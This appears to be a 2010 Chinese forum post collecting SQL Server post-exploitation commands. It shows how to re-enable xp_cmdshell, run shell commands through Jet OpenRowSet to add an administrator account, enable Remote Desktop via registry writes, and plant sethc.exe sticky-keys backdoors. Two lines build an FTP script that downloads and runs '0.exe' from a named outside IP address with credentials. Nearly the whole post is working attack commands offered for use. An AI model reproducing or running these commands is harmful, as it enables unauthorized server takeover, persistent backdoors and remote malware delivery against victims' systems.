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发表于 2010-7-19 23:19:18
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C:\>DIR C:\
SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
分析器执行的语句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
有时候用查询分离器连接执行以上语句的时候会出现找不到存储过程 sp_addextendedproc
解决方法:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
这段代码贴入查询分离器,执行
资源管理器:
c:\windows\explorer.exe
查看目录
exec master.dbo.xp_subdirs 'c:\'
列出磁盘
exec master..xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
regedit /s 3389.reg
开3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
关3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
查看3389端口
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
普通CMD后门
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'
win2K直接上PS马
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP直接上PS马
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5下shift后门命令
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX为你要执行的命令
写入注册表指定的键里指定的值),使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb): |
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